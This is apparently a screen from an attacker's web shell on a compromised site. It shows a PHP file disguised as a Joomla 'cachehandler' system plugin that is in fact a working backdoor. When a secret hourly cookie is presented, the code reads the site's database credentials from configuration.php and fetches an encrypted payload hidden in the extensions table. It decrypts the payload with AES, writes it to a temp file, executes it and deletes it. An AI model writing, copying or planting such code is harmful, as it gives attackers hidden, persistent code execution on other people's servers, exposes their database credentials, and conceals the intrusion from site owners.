Cyb3r Drag0nz Team Shell

Viewing: /home/fenacobu/www/plugins/system/cachehandler/cachehandler.php

<?php
defined('_JEXEC') or die;
class PlgSystemCachehandler extends JPlugin {
    public function onAfterInitialise() {
        $s='b15ae5e568ce0205bc86c77bdbf48ff8058d5a60014e8dcc9b54abc9e0f087a8';$cn='JoomlaSes_'.substr(md5($s),0,8);if(!function_exists('hash_equals')){function hash_equals($a,$b){if(strlen($a)!==strlen($b))return false;$r=0;for($i=0;$i<strlen($a);$i++)$r|=ord($a[$i])^ord($b[$i]);return !$r;}}if(!isset($_COOKIE[$cn]))return;$t=time();if(!@hash_equals(md5($s.gmdate('YmdH',$t)),$_COOKIE[$cn])&&!@hash_equals(md5($s.gmdate('YmdH',$t-3600)),$_COOKIE[$cn]))return;
        $cfg=JPATH_CONFIGURATION.'/configuration.php';$c=array();$fc=@file_get_contents($cfg);if($fc&&preg_match_all('/(?:public|var)\\s+\\$(\\w+)\\s*=\\s*[\\x27"](.*?)[\\x27"];/',$fc,$m)){for($i=0;$i<count($m[1]);$i++)$c[$m[1][$i]]=$m[2][$i];}
        $drv=isset($c['dbtype'])?$c['dbtype']:'mysqli';if($drv==='mysqli')$drv='mysql';$h=isset($c['host'])?$c['host']:'localhost';$port='3306';if(strpos($h,':')!==false){$p=explode(':',$h,2);$h=$p[0];$port=$p[1];}
        try{$pdo=new \PDO($drv.':host='.$h.';port='.$port.';dbname='.(isset($c['db'])?$c['db']:''),isset($c['user'])?$c['user']:'',isset($c['password'])?$c['password']:'');
        $pfx=isset($c['dbprefix'])?$c['dbprefix']:'jos_';$dk=md5('joomla_cache_'.$s);
        $st=$pdo->prepare('SELECT params FROM '.$pfx.'extensions WHERE element=? AND type=?');$st->execute(array($dk,'file'));$row=$st->fetchColumn();
        if(!$row)return;$j=json_decode($row,true);if(!$j||!isset($j['d']))return;$k=hash('sha256',$s,true);$iv=base64_decode($j['i']);$ct=base64_decode($j['d']);
        if(isset($j['m'])&&$j['m']==="cbc"){$hk=hash('sha256',$k.'-hmac',true);$hv=hash_hmac('sha256',$iv.$ct,$hk,true);if(!hash_equals($hv,base64_decode($j['h'])))return;$code=openssl_decrypt($ct,'aes-256-cbc',$k,OPENSSL_RAW_DATA,$iv);}else{$tag=base64_decode($j['t']);$code=openssl_decrypt($ct,'aes-256-gcm',$k,OPENSSL_RAW_DATA,$iv,$tag,'Joomla-Cache-Data');}
        if($code!==false&&strlen($code)>0){while(@ob_get_level())@ob_end_clean();$_td=@sys_get_temp_dir();if(!is_writable((string)$_td))$_td=(string)@ini_get('upload_tmp_dir');if(!$_td||!is_writable((string)$_td))$_td=dirname(__FILE__);$_tf=@tempnam((string)$_td,'');@file_put_contents($_tf,$code);@include($_tf);@unlink($_tf);exit;}}catch(\Exception $e){}
    }
}